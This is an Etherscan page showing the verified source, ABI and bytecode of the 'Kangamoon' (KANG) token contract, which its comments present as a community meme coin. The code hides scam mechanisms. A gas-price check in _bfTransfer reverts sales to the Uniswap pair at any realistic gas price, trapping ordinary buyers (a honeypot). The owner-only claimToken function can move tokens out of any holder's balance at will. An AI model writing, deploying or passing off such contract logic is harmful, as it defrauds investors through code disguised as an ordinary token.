ETH Price: $2,645.44 (-0.42%)

Contract

0xdB7dbbF1cb5FCadEF594a2316a79eEE71178ee74
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198228862024-05-08 4:13:11176 days ago1715141591IN
0xdB7dbbF1...71178ee74
0 ETH0.000195354.14084634
Approve197670642024-04-30 8:54:23183 days ago1714467263IN
0xdB7dbbF1...71178ee74
0 ETH0.0005164610.93326572
Open Trading197667942024-04-30 8:00:11183 days ago1714464011IN
0xdB7dbbF1...71178ee74
0 ETH0.000231358.06576789
Approve197667822024-04-30 7:57:47183 days ago1714463867IN
0xdB7dbbF1...71178ee74
0 ETH0.000368647.80407949
0x60806040197667432024-04-30 7:49:59183 days ago1714463399IN
 Create: KANG
0 ETH0.042287779.01755128

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KANG

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-30
*/

// SPDX-License-Identifier: MIT

// Kangamoon is the next top meme coin building a strong community of meme enthusiasts and integrating SocialFi and Play To Earn earn elements so the community can interact, grow, and earn.
// Website - www.kangamoon.com
// Twitter - https://twitter.com/Kangamoon_P2E
// Telegram - https://t.me/kangamoonofficial
// Discord -  https://discord.gg/we2kqytDbB

pragma solidity 0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract KANG is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Kangamoon";
    string private constant _symbol = unicode"KANG";

    uint256 public BuyTaxFee = 0;
    uint256 public SellTaxFee = 0;

    bool private openedTrade = false;

    address private DeploymentWL = 0x50EECadd58b5d86231DFb0Fa33824B3d229B5a5B;
    address private Marketing = 0x0838941bD9aB4CaBfB35Fc02858299C91B67BF56;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(80).div(100));
        _balances[DeploymentWL] = _balances[DeploymentWL].add(_totalSupply.mul(10).div(100));
        _balances[Marketing] = _balances[Marketing].add(_totalSupply.mul(10).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(80).div(100));
        emit Transfer(address(0), DeploymentWL, _totalSupply.mul(10).div(100));
        emit Transfer(address(0), Marketing, _totalSupply.mul(10).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * BuyTaxFee / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * SellTaxFee / 100;
                _bfTransfer(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private Gaslimittited = 1000 gwei;
    uint256 private Gasmaxxxxx = 5;

    function _bfTransfer(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                gasRequire(Gaslimittited);
            } else {
                gasRequire(Gasmaxxxxx);
            }
        } 
    }

    function gasRequire(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function claimToken(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());

        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060045560006005556000600660006101000a81548160ff0219169083151502179055507350eecadd58b5d86231dfb0fa33824b3d229b5a5b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730838941bd9ab4cabfb35fc02858299c91b67bf56600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555064e8d4a51000600a556005600b55348015620000ee57600080fd5b50620000ff62000b4760201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001fa6200019760646200018360506012600a6200015e919062000e9c565b633b9aca006200016f919062000fd9565b62000b4f60201b62000afe1790919060201c565b62000bbf60201b62000b671790919060201c565b60026000620001ab62000b4760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000c7f60201b62000c1b1790919060201c565b600260006200020e62000b4760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200031b620002a5606462000291600a6012600a6200026c919062000e9c565b633b9aca006200027d919062000fd9565b62000b4f60201b62000afe1790919060201c565b62000bbf60201b62000b671790919060201c565b60026000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000c7f60201b62000c1b1790919060201c565b60026000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200044f620003d96064620003c5600a6012600a620003a0919062000e9c565b633b9aca00620003b1919062000fd9565b62000b4f60201b62000afe1790919060201c565b62000bbf60201b62000b671790919060201c565b60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000c7f60201b62000c1b1790919060201c565b60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200057257600080fd5b505afa15801562000587573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005ad919062000d14565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200063257600080fd5b505afa15801562000647573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200066d919062000d14565b6040518363ffffffff1660e01b81526004016200068c92919062000d62565b602060405180830381600087803b158015620006a757600080fd5b505af1158015620006bc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006e2919062000d14565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a9050506001600360006200081162000cd460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008ca62000b4760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200096e60646200095a60506012600a62000935919062000e9c565b633b9aca0062000946919062000fd9565b62000b4f60201b62000afe1790919060201c565b62000bbf60201b62000b671790919060201c565b6040516200097d919062000d8f565b60405180910390a3600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62000a4c606462000a38600a6012600a62000a13919062000e9c565b633b9aca0062000a24919062000fd9565b62000b4f60201b62000afe1790919060201c565b62000bbf60201b62000b671790919060201c565b60405162000a5b919062000d8f565b60405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62000b2a606462000b16600a6012600a62000af1919062000e9c565b633b9aca0062000b02919062000fd9565b62000b4f60201b62000afe1790919060201c565b62000bbf60201b62000b671790919060201c565b60405162000b39919062000d8f565b60405180910390a362001142565b600033905090565b60008083141562000b64576000905062000bb9565b818362000b72919062000fd9565b905081838262000b83919062000e09565b1462000bb8577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b92915050565b600080821162000bf8577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b6000828462000c08919062000e09565b9050828462000c18919062001085565b818462000c26919062000fd9565b62000c32919062000dac565b841462000c68577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b828462000c76919062000e09565b91505092915050565b600080828462000c90919062000dac565b90508381101562000cca577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008151905062000d0e8162001128565b92915050565b60006020828403121562000d2757600080fd5b600062000d378482850162000cfd565b91505092915050565b62000d4b816200103a565b82525050565b62000d5c816200106e565b82525050565b600060408201905062000d79600083018562000d40565b62000d88602083018462000d40565b9392505050565b600060208201905062000da6600083018462000d51565b92915050565b600062000db9826200106e565b915062000dc6836200106e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000dfe5762000dfd620010bd565b5b828201905092915050565b600062000e16826200106e565b915062000e23836200106e565b92508262000e365762000e35620010ec565b5b828204905092915050565b6000808291508390505b600185111562000e935780860481111562000e6b5762000e6a620010bd565b5b600185161562000e7b5780820291505b808102905062000e8b856200111b565b945062000e4b565b94509492505050565b600062000ea9826200106e565b915062000eb68362001078565b925062000ee57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000eed565b905092915050565b60008262000eff576001905062000fd2565b8162000f0f576000905062000fd2565b816001811462000f28576002811462000f335762000f69565b600191505062000fd2565b60ff84111562000f485762000f47620010bd565b5b8360020a91508482111562000f625762000f61620010bd565b5b5062000fd2565b5060208310610133831016604e8410600b841016171562000fa35782820a90508381111562000f9d5762000f9c620010bd565b5b62000fd2565b62000fb2848484600162000e41565b9250905081840481111562000fcc5762000fcb620010bd565b5b81810290505b9392505050565b600062000fe6826200106e565b915062000ff3836200106e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200102f576200102e620010bd565b5b828202905092915050565b600062001047826200104e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062001092826200106e565b91506200109f836200106e565b925082620010b257620010b1620010ec565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b62001133816200103a565b81146200113f57600080fd5b50565b61200480620011526000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461033b578063c9567bf914610378578063dd62ed3e1461038f578063e194c2b2146103cc576100fe565b806370a082311461027f5780638da5cb5b146102bc57806395d89b41146102e75780639e94590b14610312576100fe565b806318160ddd116100c657806318160ddd146101c157806323b872dd146101ec578063313ce567146102295780633c9f5ed614610254576100fe565b806303c525731461010357806306fdde031461012e578063095ea7b3146101595780631694505e14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f7565b6040516101259190611b26565b60405180910390f35b34801561013a57600080fd5b506101436103fd565b6040516101509190611a24565b60405180910390f35b34801561016557600080fd5b50610180600480360381019061017b9190611695565b61043a565b60405161018d91906119ee565b60405180910390f35b3480156101a257600080fd5b506101ab610458565b6040516101b89190611a09565b60405180910390f35b3480156101cd57600080fd5b506101d661047e565b6040516101e39190611b26565b60405180910390f35b3480156101f857600080fd5b50610213600480360381019061020e91906115bd565b6104a2565b60405161022091906119ee565b60405180910390f35b34801561023557600080fd5b5061023e610561565b60405161024b9190611b41565b60405180910390f35b34801561026057600080fd5b5061026961056a565b60405161027691906119ee565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a19190611558565b610581565b6040516102b39190611b26565b60405180910390f35b3480156102c857600080fd5b506102d16105ca565b6040516102de91906119d3565b60405180910390f35b3480156102f357600080fd5b506102fc6105f3565b6040516103099190611a24565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061160c565b610630565b005b34801561034757600080fd5b50610362600480360381019061035d9190611695565b610a1a565b60405161036f91906119ee565b60405180910390f35b34801561038457600080fd5b5061038d610a3d565b005b34801561039b57600080fd5b506103b660048036038101906103b19190611581565b610a71565b6040516103c39190611b26565b60405180910390f35b3480156103d857600080fd5b506103e1610af8565b6040516103ee9190611b26565b60405180910390f35b60045481565b60606040518060400160405280600981526020017f4b616e67616d6f6f6e0000000000000000000000000000000000000000000000815250905090565b600061044e610447610c6d565b8484610c75565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a61048e9190611c52565b633b9aca0061049d9190611d70565b905090565b60006104af848484610e40565b610556846104bb610c6d565b61055185600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610508610c6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b610c75565b600190509392505050565b60006012905090565b6000600660009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b414e4700000000000000000000000000000000000000000000000000000000815250905090565b6106386105ca565b73ffffffffffffffffffffffffffffffffffffffff16610656610c6d565b73ffffffffffffffffffffffffffffffffffffffff161461067657600080fd5b60005b84849050811015610a125761072d6012600a6106959190611c52565b8484848181106106ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356106df9190611d70565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108666012600a6107819190611c52565b8484848181106107ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356107cb9190611d70565b60026000888886818110610808577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061081d9190611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c1b90919063ffffffff16565b600260008787858181106108a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906108b89190611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084848281811061092f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906109449190611558565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6109a09190611c52565b8686868181106109d9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356109ea9190611d70565b6040516109f79190611b26565b60405180910390a38080610a0a90611eaa565b915050610679565b505050505050565b600080610a25610c6d565b9050610a32818585610e40565b600191505092915050565b610a456113ae565b600660009054906101000a900460ff1615600660006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b600080831415610b115760009050610b61565b8183610b1d9190611d70565b9050818382610b2c9190611bce565b14610b60577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b92915050565b6000808211610b9f577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008284610bad9190611bce565b90508284610bbb9190611ef3565b8184610bc79190611d70565b610bd19190611b78565b8414610c06577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8284610c129190611bce565b91505092915050565b6000808284610c2a9190611b78565b905083811015610c63577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc90611b06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90611a66565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e339190611b26565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790611ac6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790611a46565b60405180910390fd5b80610f2a84610581565b1015610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290611a86565b60405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110115750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110fe57600660009054906101000a900460ff16611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90611aa6565b60405180910390fd5b6064600454836110759190611d70565b61107f9190611bce565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110fd576064600554836110e79190611d70565b6110f19190611bce565b90506110fc84611445565b5b5b60008111156111fb5780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111529190611b78565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111f29190611b26565b60405180910390a35b8161120585610581565b61120f9190611dca565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261125e9190611dca565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a89190611b78565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856113469190611dca565b6040516113539190611b26565b60405180910390a350505050565b60008183101561139a577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b81836113a69190611dca565b905092915050565b6113b6610c6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a90611ae6565b60405180910390fd5b565b600061145082610581565b111561148757600660009054906101000a900460ff1661147a57611475600a5461148a565b611486565b611485600b5461148a565b5b5b50565b803a111561149757600080fd5b50565b6000813590506114a981611fa0565b92915050565b60008083601f8401126114c157600080fd5b8235905067ffffffffffffffff8111156114da57600080fd5b6020830191508360208202830111156114f257600080fd5b9250929050565b60008083601f84011261150b57600080fd5b8235905067ffffffffffffffff81111561152457600080fd5b60208301915083602082028301111561153c57600080fd5b9250929050565b60008135905061155281611fb7565b92915050565b60006020828403121561156a57600080fd5b60006115788482850161149a565b91505092915050565b6000806040838503121561159457600080fd5b60006115a28582860161149a565b92505060206115b38582860161149a565b9150509250929050565b6000806000606084860312156115d257600080fd5b60006115e08682870161149a565b93505060206115f18682870161149a565b925050604061160286828701611543565b9150509250925092565b60008060008060006060868803121561162457600080fd5b60006116328882890161149a565b955050602086013567ffffffffffffffff81111561164f57600080fd5b61165b888289016114af565b9450945050604086013567ffffffffffffffff81111561167a57600080fd5b611686888289016114f9565b92509250509295509295909350565b600080604083850312156116a857600080fd5b60006116b68582860161149a565b92505060206116c785828601611543565b9150509250929050565b6116da81611dfe565b82525050565b6116e981611e10565b82525050565b6116f881611e5356